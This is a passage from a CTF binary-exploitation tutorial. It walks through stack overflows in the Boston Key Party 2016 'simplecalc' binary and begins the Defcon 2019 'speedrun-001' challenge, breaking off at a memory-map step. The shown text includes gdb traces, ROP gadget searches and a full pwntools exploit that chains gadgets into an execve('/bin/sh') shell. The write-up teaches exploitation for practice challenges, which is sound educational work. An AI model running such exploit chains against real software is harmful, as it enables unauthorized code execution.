0x00007fffffffdf18│+0x0030: 0x0000000000000008
0x00007fffffffdf20│+0x0038: 0x00007ffff7fafa00  →  0x00000000fbad2288
──────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffffffddffa                  add    BYTE PTR [rax], al
   0x7ffffffddffc                  add    BYTE PTR [rax], al
   0x7ffffffddffe                  add    BYTE PTR [rax], al
 → 0x7ffffffde000                  add    BYTE PTR [rax], al
   0x7ffffffde002                  add    BYTE PTR [rax], al
   0x7ffffffde004                  add    BYTE PTR [rax], al
   0x7ffffffde006                  add    BYTE PTR [rax], al
   0x7ffffffde008                  add    BYTE PTR [rax], al
   0x7ffffffde00a                  add    BYTE PTR [rax], al
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "tryc", stopped, reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffffffde000 → add BYTE PTR [rax], al
[#1] 0x7ffff7e5ae50 → _IO_new_file_underflow(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>)
[#2] 0x7ffff7e5c182 → __GI__IO_default_uflow(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>)
[#3] 0x7ffff7e4e1fa → __GI__IO_getline_info(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>, buf=0x7fffffffdfde "", n=0x8, delim=0xa, extract_delim=0x1, eof=0x0)
[#4] 0x7ffff7e4e2e8 → __GI__IO_getline(fp=0x7ffff7fafa00 <_IO_2_1_stdin_>, buf=0x7fffffffdfde "", n=<optimized out>, delim=0xa, extract_delim=0x1)
[#5] 0x7ffff7e4d1ab → _IO_fgets(buf=0x7fffffffdfde "", n=<optimized out>, fp=0x7ffff7fafa00 <_IO_2_1_stdin_>)
[#6] 0x555555555174 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  

We see here that as soon as we tried to execute code in the stack with NX enabled, we got a SIGSEV. This is because we tried to execute memory that was not executable.

So what's the bypass? THe typical bypass I use is to not execute code from the stack. Looking at the memory regions with NX enabled, we see that the pie and libc memory regions have some executable memory spaces where instructions are stored. We can leverage those to actually execute code through things like rop, even though in a lot of instances we can't write to those memory regions since the memory permissions are rx.

Boston Key Part 2016 Simple Calc

Let's take a look at the binary:

$    file simplecalc
simplecalc: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3ca876069b2b8dc3f412c6205592a1d7523ba9ea, not stripped
$    pwn checksec simplecalc
[*] '/Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./simplecalc  
    |#------------------------------------#|
    |         Something Calculator         |
    |#------------------------------------#|

Expected number of calculations: 50
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 1
Integer x: 1
Integer y: 1
Do you really need help calculating such small numbers?
Shame on you... Bye

So we can see that it is a 64 bit statically linked binary. The only binary mitigation it has is a Non-Executable stack so we can't push shellcode onto the stack and call it. When we run it, we see that it prompts us for a number of calculations. Then it allows us to do a number of calculations. Also it apparently won't let us calculate "small numbers". When we take a look at the main function in Ghidra (for me it was under a folder called mai...), we see this:


undefined8 main(void)

{
  void *calculations;
  undefined vulnBuf [40];
  int calcChoice;
  int numberCalcs;
  int i;
 
  numberCalcs = 0;
  setvbuf((FILE *)stdin,(char *)0x0,2,0);
  setvbuf((FILE *)stdout,(char *)0x0,2,0);
  print_motd();
  printf("Expected number of calculations: ");
  __isoc99_scanf(&DAT_00494214,&numberCalcs);
  handle_newline();
  if ((numberCalcs < 0x100) && (3 < numberCalcs)) {
    calculations = malloc((long)(numberCalcs << 2));
    i = 0;
    while (i < numberCalcs) {
      print_menu();
      __isoc99_scanf(&DAT_00494214,&calcChoice);
      handle_newline();
      if (calcChoice == 1) {
        adds();
        *(undefined4 *)((long)i * 4 + (long)calculations) = add._8_4_;
      }
      else {
        if (calcChoice == 2) {
          subs();
          *(undefined4 *)((long)i * 4 + (long)calculations) = sub._8_4_;
        }
        else {
          if (calcChoice == 3) {
            muls();
            *(undefined4 *)((long)i * 4 + (long)calculations) = mul._8_4_;
          }
          else {
            if (calcChoice == 4) {
              divs();
              *(undefined4 *)((long)i * 4 + (long)calculations) = divv._8_4_;
            }
            else {
              if (calcChoice == 5) {
                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;
              }
              puts("Invalid option.\n");
            }
          }
        }
      }
      i = i + 1;
    }
    free(calculations);
  }
  else {
    puts("Invalid number.");
  }
  return 0;
}

So we can see that it starts of by prompting us for a number of calculations with the string Expected number of calculations: . It stores the number of calculations in numberCalcs. Then it checks to make sure the number of calculations is between 3 and 0x100 (If not it will print Invalid number. and just return). It will then malloc a size equal to numberCalcs << 2 and store the pointer to it in calculations. This is the same operation as numberCalcs * 4. Just check out these calculations to see:

>>> 5 << 2
20
>>> 500 << 2
2000
>>> 500 * 4
2000
>>> 742 << 2
2968
>>> 742 * 4
2968

Here it is essentially allocating numberCalcs number of integers, which each of them are four bytes big. Then it will enter into a while loop that will run once for each calculation we will specify (unless if we choose to exit early). Looking at the assembly code (since the decompilation looks a bit weird) for the multiplication section, we see that it is calling the muls function:

        004014d3 83 f8 03        CMP        calculations,0x3
        004014d6 75 23           JNZ        LAB_004014fb
        004014d8 e8 cb fd        CALL       muls                                             undefined muls()
                 ff ff

When we look at the mulsfunction, we see that it checks to ensure that the two numbers have to be equal to or greater than 0x27. Looking at it, we see that it pretty much just multiplies the two numbers together. Looking at the other three calculation operations, they seem pretty similar (except for subtraction, addition, and division).

void muls(void)

{
  printf("Integer x: ");
  __isoc99_scanf(&DAT_00494214,mul);
  handle_newline();
  printf("Integer y: ");
  __isoc99_scanf(&DAT_00494214,0x6c4aa4);
  handle_newline();
  if ((0x27 < mul._0_4_) && (0x27 < mul._4_4_)) {
    mul._8_4_ = mul._4_4_ * mul._0_4_;
    printf("Result for x * y is %d.\n\n",(ulong)mul._8_4_);
    return;
  }
  puts("Do you really need help calculating such small numbers?\nShame on you... Bye");
                    /* WARNING: Subroutine does not return */
  exit(-1);
}

However we can see that there is a bug that resides in the option to save and exit:

              if (calcChoice == 5) {
                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;
              }

If we choose this option, it will use memcpy to copy over all of our calculations into vulnBuf. Thing is it doesn't do a size check, so if we have enough calculations we can overflow the buffer and overwrite the return address (there is no stack canary to prevent this). Let's find the offset from the start of our input to the return address. We start off by setting a breakpoint for right after the memcpy call, then seeing where our input lands (also 321456948 in hex is 0x13290b34):

gef➤  b *0x40154a
Breakpoint 1 at 0x40154a
gef➤  r
Starting program: /Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc

  |#------------------------------------#|
  |         Something Calculator         |
  |#------------------------------------#|

Expected number of calculations: 50
Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 1
Integer x: 159
Integer y: 321456789
Result for x + y is 321456948.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> 5
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007fffffffde60  →  0x0000000013290b34
$rbx   : 0x00000000004002b0  →  <_init+0> sub rsp, 0x8
$rcx   : 0x0               
$rdx   : 0x0               
$rsp   : 0x00007fffffffde50  →  0x00007fffffffdf88  →  0x00007fffffffe2c3  →  "/Hackery/pod/modules/bof_static/bkp16_simplecalc/s[...]"
$rbp   : 0x00007fffffffdea0  →  0x0000000000000000
$rsi   : 0x00000000006c8ca8  →  0x0000000000020361
$rdi   : 0x00007fffffffdf28  →  0x0000000000000000
$rip   : 0x000000000040154a  →  <main+455> mov rax, QWORD PTR [rbp-0x10]
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x0               
$r11   : 0x0               
$r12   : 0x0               
$r13   : 0x0000000000401c00  →  <__libc_csu_init+0> push r14
$r14   : 0x0000000000401c90  →  <__libc_csu_fini+0> push rbx
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffde50│+0x0000: 0x00007fffffffdf88  →  0x00007fffffffe2c3  →  "/Hackery/pod/modules/bof_static/bkp16_simplecalc/s[...]"  ← $rsp
0x00007fffffffde58│+0x0008: 0x0000000100400d41 ("A\r@"?)
0x00007fffffffde60│+0x0010: 0x0000000013290b34   ← $rax
0x00007fffffffde68│+0x0018: 0x0000000000000000
0x00007fffffffde70│+0x0020: 0x0000000000000000
0x00007fffffffde78│+0x0028: 0x0000000000000000
0x00007fffffffde80│+0x0030: 0x0000000000000000
0x00007fffffffde88│+0x0038: 0x0000000000000000
─────────────────────────────────────────────────────────────── code:x86:64 ────
     0x40153d <main+442>       rex.RB ror BYTE PTR [r8-0x77], 0xce
     0x401542 <main+447>       mov    rdi, rax
     0x401545 <main+450>       call   0x4228d0 <memcpy>
 →   0x40154a <main+455>       mov    rax, QWORD PTR [rbp-0x10]
     0x40154e <main+459>       mov    rdi, rax
     0x401551 <main+462>       call   0x4156d0 <free>
     0x401556 <main+467>       mov    eax, 0x0
     0x40155b <main+472>       jmp    0x401588 <main+517>
     0x40155d <main+474>       mov    edi, 0x494402
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "simplecalc", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x40154a → main()
────────────────────────────────────────────────────────────────────────────────

Breakpoint 1, 0x000000000040154a in main ()
gef➤  search-pattern 0x13290b34
[+] Searching '0x13290b34' in memory
[+] In '[heap]'(0x6c3000-0x6e9000), permission=rw-
  0x6c4a88 - 0x6c4a98  →   "\x34\x0b\x29\x13[...]"
  0x6c8be0 - 0x6c8bf0  →   "\x34\x0b\x29\x13[...]"
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
  0x7fffffffb0c8 - 0x7fffffffb0d8  →   "\x34\x0b\x29\x13[...]"
  0x7fffffffde60 - 0x7fffffffde70  →   "\x34\x0b\x29\x13[...]"
gef➤  i f
Stack level 0, frame at 0x7fffffffdeb0:
 rip = 0x40154a in main; saved rip = 0x0
 Arglist at 0x7fffffffdea0, args:
 Locals at 0x7fffffffdea0, Previous frame's sp is 0x7fffffffdeb0
 Saved registers:
  rbp at 0x7fffffffdea0, rip at 0x7fffffffdea8

So we can see that the offset between the start of our input and the return address is 0x7fffffffdea8 - 0x7fffffffde60 = 0x48, which will be 18 integers. Now for what to execute when we get the return address. Since the binary is statically linked and there is no PIE, we can just build a rop chain using the binary for gadgets and without an infoleak. The ROP Chain will essentially just make an execve syscall to /bin/sh. There are four registers that we need to control in order to make this syscall (checkout https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/ for more details):

rax:  0x3b              Specify execve syscall
rdi:  ptr to "/bin/sh"  Specify file to run
rsi:  0x0               Specify no arguments
rdx:  0x0               Specify no environment variables

To do this, we will need gadgets to control those four register. I typically like to go with gadgets like pop rax; ret, since it makes it simple. We will also need a gadget to write the string /bin/sh somewhere in memory that we know. Let's find our gadgets using ROPGadget (checkout https://github.com/JonathanSalwan/ROPgadget ):

$ python ROPgadget.py --binary simplecalc | grep "pop rax ; ret"
0x000000000044db32 : add al, ch ; pop rax ; ret
0x000000000040b032 : add al, ch ; pop rax ; retf 2
0x000000000040b02f : add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
0x000000000040b030 : add byte ptr [rax], al ; add al, ch ; pop rax ; retf 2
0x00000000004b0801 : in al, 0x4c ; pop rax ; retf
0x000000000040b02e : in al, dx ; add byte ptr [rax], 0 ; add al, ch ; pop rax ; retf 2
0x0000000000474855 : or dh, byte ptr [rcx] ; ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
0x000000000044db34 : pop rax ; ret
0x000000000045d707 : pop rax ; retf
0x000000000040b034 : pop rax ; retf 2
0x0000000000474857 : ror byte ptr [rax - 0x7d], 0xc4 ; pop rax ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rdi ; ret"
0x000000000044bbbc : inc dword ptr [rbx - 0x7bf0fe40] ; pop rdi ; ret
0x0000000000401b73 : pop rdi ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rsi ; ret"
0x00000000004ac9b4 : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rsi ; ret
0x00000000004ac9b6 : add byte ptr [rax], al ; pop rsi ; ret
0x0000000000437aa9 : pop rdx ; pop rsi ; ret
0x0000000000401c87 : pop rsi ; ret
$ python ROPgadget.py --binary simplecalc | grep "pop rdx ; ret"
0x00000000004a868c : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rdx ; ret 0x45
0x00000000004a868e : add byte ptr [rax], al ; pop rdx ; ret 0x45
0x00000000004afd61 : js 0x4afde1 ; pop rdx ; retf
0x0000000000414ed0 : or al, ch ; pop rdx ; ret 0xffff
0x0000000000437a85 : pop rdx ; ret
0x00000000004a8690 : pop rdx ; ret 0x45
0x00000000004b2dd8 : pop rdx ; ret 0xfffd
0x0000000000414ed2 : pop rdx ; ret 0xffff
0x00000000004afd63 : pop rdx ; retf
0x000000000044af60 : pop rdx ; retf 0xffff
0x00000000004560ae : test byte ptr [rdi - 0x1600002f], al ; pop rdx ; ret

So we can see the gadgets for controlling the four registers are at 0x44db34, 0x401b73, 0x401c87, and 0x437a85. Now we need a gadget that will write an eight byte value to a memory region. For this I would like to start my search by searching through the gadgets with mov in them:

$ python ROPgadget.py --binary simplecalc | grep "mov" | less

after a bit of searching, we find this gadget:

0x000000000044526e : mov qword ptr [rax], rdx ; ret

This gadget will move the four byte value from rdx to whatever memory is pointed to by rax. This is exactly what we need, and a bit convenient since we already have the gadgets for those two registers and this gadget doesn't do anything else that we need to worry about. The last gadget we need will be a syscall gadget:

$ python ROPgadget.py --binary simplecalc | grep ": syscall"
0x0000000000400488 : syscall

There are two more things we need to figure out. The first is where in memory we will write the string /bin/sh. Let's check the memory mappings while the binary is running:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004c1000 0x0000000000000000 r-x /Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc
0x00000000006c0000 0x00000000006c3000 0x00000000000c0000 rw- /Hackery/pod/modules/bof_static/bkp16_simplecalc/simplecalc
0x00000000006c3000 0x00000000006c6000 0x0000000000000000 rw-
0x0000000001971000 0x0000000001994000 0x0000000000000000 rw- [heap]
0x00007fffbde39000 0x00007fffbde5a000 0x0000000000000000 rw- [stack]
0x00007fffbdfe6000 0x00007fffbdfe9000 0x0000000000000000 r-- [vvar]
0x00007fffbdfe9000 0x00007fffbdfeb000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x/g 0x6c0000
0x6c0000: 0x200e41280e41300e
gef➤  x/20g 0x6c0000
0x6c0000: 0x200e41280e41300e  0x0e42100e42180e42
0x6c0010: 0x00000000000b4108  0x0000d0a40000002c
0x6c0020: 0x0000006cfffd1fd0  0x080e0a69100e4400
0x6c0030: 0x0b42080e0a460b4b  0x0e470b49080e0a57
0x6c0040: 0x0000000000000008  0x0000d0d400000024
0x6c0050: 0x00000144fffd2010  0x5a020283100e4500
0x6c0060: 0x0ee3020b41080e0a  0x0000000000000008
0x6c0070: 0x0000d0fc00000064  0x0000026cfffd2138
0x6c0080: 0x0e47028f100e4200  0x048d200e42038e18
0x6c0090: 0x300e41058c280e42  0x440783380e410686
gef➤  x/20g 0x6c1000
0x6c1000: 0x0000000000000000  0x0000000000000000
0x6c1010: 0x0000000000000000  0x0000000000431070
0x6c1020: 0x0000000000430a40  0x0000000000428e20
0x6c1030: 0x00000000004331b0  0x0000000000424c50
0x6c1040: 0x000000000042b940  0x0000000000423740
0x6c1050: 0x00000000004852d0  0x00000000004178d0
0x6c1060: 0x0000000000000000  0x0000000000000000
0x6c1070 <_dl_tls_static_size>: 0x0000000000001180  0x0000000000000000
0x6c1080 <_nl_current_default_domain>:  0x00000000004945f7  0x0000000000000000
0x6c1090 <locale_alias_path.10061>: 0x000000000049462a  0x00000000006c32a0

We see that the memory region that begins at 0x6c0000 and ends at 0x6c3000 looks like a good candidate. The permissions allow us to read and write to it. In addition to that it is mapped from the binary, and since there is no PIE the addresses will be the same every time (no infoleak needed). Looking a bit through the memory, 0x6c1000 looks like it's empty so we should be able to write to it without messing ip anything (although we could be wrong with that).

The second thing we need to worry about deals with what we are overflowing on the stack.

  void *calculations;
  undefined vulnBuf [40];
  int calcChoice;
  int numberCalcs;
  int i;

We see that between vulnBuf and the bottom of the stack (where the return address resides) is the pointer calculations. This will get overwritten as part of the overflow. This is a problem since this address is freed prior to our code being executed:

                memcpy(vulnBuf,calculations,(long)(numberCalcs << 2));
                free(calculations);
                return 0;

However looking at the source code for free tells us something extremely helpful in this instance (I found it here: https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#free ):

__libc_free (void *mem)
{
  mstate ar_ptr;
  mchunkptr p;                          /* chunk corresponding to mem */
  void (*hook) (void *, const void *)
    = atomic_forced_read (__free_hook);
  if (__builtin_expect (hook != NULL, 0))
    {
      (*hook)(mem, RETURN_ADDRESS (0));
      return;
    }
  if (mem == 0)                              /* free(0) has no effect */
    return;

We can see here that if the argument we pass to free is a null pointer (0x0) then it just returns. Since the function writing the data for the overflow is memcpy, we can write null bytes. So if we just fill up the space between the start of our input and the return address with null bytes, we will be fine.

With that, we have everything we need to make the exploit. In the comments, you can find the exact ROP chain I used as well as what each part does. Also I wrote some helper functions which will write the values I want using addition:

from pwn import *

target = process('./simplecalc')
#gdb.attach(target, gdbscript = 'b *0x40154a')

target.recvuntil('calculations: ')
target.sendline('100')

# Establish our rop gadgets
popRax = 0x44db34
popRdi = 0x401b73
popRsi = 0x401c87
popRdx = 0x437a85

# 0x000000000044526e : mov qword ptr [rax], rdx ; ret
movGadget = 0x44526e

syscall = 0x400488

# These two functions are what we will use to give input via addition
def addSingle(x):
  target.recvuntil("=> ")
  target.sendline("1")
  target.recvuntil("Integer x: ")
  target.sendline("100")
  target.recvuntil("Integer y: ")
  target.sendline(str(x - 100))


def add(z):
  x = z & 0xffffffff
  y = ((z & 0xffffffff00000000) >> 32)
  addSingle(x)
  addSingle(y)

# Fill up the space between the start of our input and the return address
for i in xrange(9):
  # Fill it up with null bytes, to make the ptr passed to free be a null pointer
  # So free doesn't crash
  add(0x0)

# Start writing th0e rop chain
'''
This is our ROP Chain

Write "/bin/sh" tp 0x6c1000

pop rax, 0x6c1000 ; ret
pop rdx, "/bin/sh\x00" ; ret
mov qword ptr [rax], rdx ; ret

# Move the needed values into the registers
pop rax, 0x3b ; ret
pop rdi, 0x6c1000 ; ret
pop rsi, 0x0 ; ret
pop rdx, 0x0 ; ret
'''
add(popRax)
add(0x6c1000)
add(popRdx)
add(0x0068732f6e69622f) # "/bin/sh" in hex
add(movGadget)

add(popRax) # Specify which syscall to make
add(0x3b)

add(popRdi) # Specify pointer to "/bin/sh"
add(0x6c1000)

add(popRsi) # Specify no arguments or environment variables
add(0x0)
add(popRdx)
add(0x0)

add(syscall) # Syscall instruction

target.sendline('5') # Save and exit to execute memcpy and trigger buffer overflow

# Drop to an interactive shell to use our new shell
target.interactive()

When we run the exploit:

$ python exploit.py
[+] Starting local process './simplecalc': pid 15676
[*] Switching to interactive mode
Result for x + y is 0.

Options Menu:
 [1] Addition.
 [2] Subtraction.
 [3] Multiplication.
 [4] Division.
 [5] Save and Exit.
=> $ w
 20:06:39 up  5:53,  1 user,  load average: 1.71, 1.30, 1.37
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               14:13   ?xdm?  22:10   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core  exploit.py  readme.md  simplecalc

Just like that, we popped a shell!

Defcon Quals 2019 Speedrun1

Let's take a look at the binary:

$    file speedrun-001
speedrun-001: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e9266027a3231c31606a432ec4eb461073e1ffa9, stripped
$    pwn checksec speedrun-001
[*] '/Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
$    ./speedrun-001
Hello brave new challenger
Any last words?
15935728
This will be the last thing that you say: 15935728

Alas, you had no luck today.

So we can see that we are dealing with a 64 bit statically compiled binary. This binary has NX (Non-Executable stack) enabled, which means that the stack memory region is not executable. For more info on this, we can check the memory mappings with the vmmap command while the binary is running:

gef➤  vmmap
Start              End                Offset             Perm Path
0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
0x00007ffff7ffa000 0x00007ffff7ffd000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

Here we can see that the memory region for the stack begins at 0x00007ffffffde000 and ends at 0x00007ffffffff000. We can see that the permissions are rw. There are three different permissions you can assign to a memory region, r for it to be readable, w for it to be writable, and x for it to be executable. Since the stack has the permissions rw assigned to it, we can read and write to it. So pushing shellcode onto the stack and executing it isn't an option.

Also since the binary is statically compiled, that means that the libc portions the binary needs are compiled with the binary. So libc is not linked to the binary (as you can see there is no libc memory region). As a result, there are a lot of potential gadgets (will be covered later in this writeup) for us to use. In addition to that, since PIE (Position Independent Executable) is not enabled we know the addresses of all of those gadgets. What PIE does is it essentially incorporates ASLR into addresses from the binary, so we would need to leak an address from that memory region to know any of the addresses. Also since the binary has a lot more code in it as a result of being statically compiled, ghidra will take a bit of time to analyze it.

When we run the binary, it essentially just prompts us for input. When we take a look at the binary in Ghidra, we see a long list of functions. To find out which one actually runs the code we look for, we can use the backtrace (bt) command in gdb when it prompts us for input, which will tell us the functions that have been called to reach the point we are at:

gef➤  r
Starting program: /Hackery/pod/modules/bof_static/dcquals19_speedrun1/speedrun-001
Hello brave new challenger
Any last words?
^C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xfffffffffffffe00
$rbx   : 0x0000000000400400  →   sub rsp, 0x8
$rcx   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$rdx   : 0x7d0             
$rsp   : 0x00007fffffffda28  →  0x0000000000400b90  →   lea rax, [rbp-0x400]
$rbp   : 0x00007fffffffde30  →  0x00007fffffffde50  →  0x0000000000401900  →   push r15
$rsi   : 0x00007fffffffda30  →  0x0000000000000000
$rdi   : 0x0               
$rip   : 0x00000000004498ae  →  0x5a77fffff0003d48 ("H="?)
$r8    : 0xf               
$r9    : 0x0               
$r10   : 0x000000000042ae30  →   pslldq xmm2, 0x3
$r11   : 0x246             
$r12   : 0x00000000004019a0  →   push rbp
$r13   : 0x0               
$r14   : 0x00000000006b9018  →  0x0000000000440ea0  →   mov rcx, rsi
$r15   : 0x0               
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffda28│+0x0000: 0x0000000000400b90  →   lea rax, [rbp-0x400]     ← $rsp
0x00007fffffffda30│+0x0008: 0x0000000000000000     ← $rsi
0x00007fffffffda38│+0x0010: 0x0000000000000000
0x00007fffffffda40│+0x0018: 0x0000000000000000
0x00007fffffffda48│+0x0020: 0x0000000000000000
0x00007fffffffda50│+0x0028: 0x0000000000000000
0x00007fffffffda58│+0x0030: 0x0000000000000000
0x00007fffffffda60│+0x0038: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x44989f                  add    BYTE PTR [rbx+0x272f6605], cl
     0x4498a5                  add    BYTE PTR [rbp+0x311675c0], al
     0x4498ab                  ror    BYTE PTR [rdi], 0x5
 →   0x4498ae                  cmp    rax, 0xfffffffffffff000
     0x4498b4                  ja     0x449910
     0x4498b6                  repz   ret
     0x4498b8                  nop    DWORD PTR [rax+rax*1+0x0]
     0x4498c0                  push   r12
     0x4498c2                  push   rbp
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "speedrun-001", stopped, reason: SIGINT
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4498ae → cmp rax, 0xfffffffffffff000
[#1] 0x400b90 → lea rax, [rbp-0x400]
[#2] 0x400c1d → mov eax, 0x0
[#3] 0x4011a9 → mov edi, eax
[#4] 0x400a5a → hlt
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x00000000004498ae in ?? ()
gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

After this I started jumping to the various addresses listed there (you can just push g in ghidra and enter the address), and looked at the decompiled code to see what's interesting. After jumping to a few of them, 0x400c1d looks like it's the main function:


undefined8
main(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3,undefined8 uParm4,undefined8 uParm5,
    undefined8 uParm6)

{
  long lVar1;
 
  FUN_00410590(PTR_DAT_006b97a0,0,2,0,uParm5,uParm6,uParm2);
  lVar1 = FUN_0040e790("DEBUG");
  if (lVar1 == 0) {
    FUN_00449040(5);
  }
  FUN_00400b4d();
  FUN_00400b60();
  FUN_00400bae();
  return 0;
}

When we look at the functions FUN_00400b4d and FUN_00400bae, we see that the essentially just print out text (which matches with what we saw earlier). Looking at the FUN_00400b60 function shows us something interesting:

void interesting(void)

{
  undefined input [1024];
 
  FUN_00410390("Any last words?");
  FUN_004498a0(0,input,2000);
  FUN_0040f710("This will be the last thing that you say: %s\n",input);
  return;
}

So we can see it prints out a message, runs a function (which is based on using the binary and the order of the messages, probably scans in data), then prints a message with our input. Looking at the function FUN_004498a0, it seems a bit weird:

/* WARNING: Removing unreachable block (ram,0x00449910) */
/* WARNING: Removing unreachable block (ram,0x00449924) */

undefined8 FUN_004498a0(undefined8 uParm1,undefined8 uParm2,undefined8 uParm3)

{
  uint uVar1;
 
  if (DAT_006bc80c == 0) {
    syscall();
    return 0;
  }
  uVar1 = FUN_0044be40();
  syscall();
  FUN_0044bea0((ulong)uVar1,uParm2,uParm3);
  return 0;
}

It appears to be scanning in our input by making a syscall, versus using a function like scanf or fgets. A syscall is essentially a way for your program to request your OS or Kernel to do something. Looking at the assembly code, we see that it sets the RAX register equal to 0 by xoring eax by itself. For the linux x64 architecture, the contents of the rax register decides what syscall gets executed. And when we look on the sycall chart (https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) we see that it corresponds to the read syscall. We don't see the arguments being loaded for the syscall, since they were already loaded when this function was called. The arguments this function takes (and the registers they take it in) are the same as the read syscall, so it can just call it after it zeroes at rax. More on syscalls to come:

        004498aa 31 c0           XOR        EAX,EAX
        004498ac 0f 05           SYSCALL

So with that, we can see it is scanning in 2000 bytes worth of input into input which can hold 1024 bytes. We have an overflow that we can overwrite the return address with and get code execution. The question now is what to do with it?

We will be making a ROP Chain (Return Oriented Programming) and using the buffer overflow to execute it. A ROP Chain is made up of ROP Gadgets, which are bits of code in the binary itself that end in a ret instruction (which will carry it over to the next gadget). We will essentially just stitch together pieces of the binary's code, to make code that will give us a shell. Since this is all valid code, we don't have to worry about the code being non-executable. Since PIE is disabled, we know the addresses of all of the binary's instructions. Also since it is statically linked, that means it is a large binary with plenty of gadgets. Also just a fun side note, if you make a gadget that jumps in the middle of an instruction it completely changes what the instruction does.

We will be making a rop chain to make a sys_execve syscall to execute /bin/sh to give us a shell. Looking at the chart posted earlier, we can see the values it expects. With that we know that we need the following registers to have the following values. We aren't too worried about the arguments or environment variables we pass to it, so we can just leave those 0x0 (null) to mean no arguments / environment variables:

rax:    59    Specify         sys_execve
rdi:    ptr to "/bin/sh"    specify file to execute
rsi:    0                    specify no arguments passed
rdx:    0                    specify no environment variables passed

Now our ROP Chain will have three parts. The first will be to write /bin/sh somewhere in memory, and move the pointer to it into the rdi register. The second will be to move the necessary values into the other three registers. The third will be to make the syscall itself. Other than finding the gadgets to execute, the only thing we need to really do prior to writing the exploit is finding a place in memory to write /bin/sh. Let's check the memory mappings while the elf is running to see what we have to work with:

gef➤  vmmap
Start              End                Offset             Perm Path
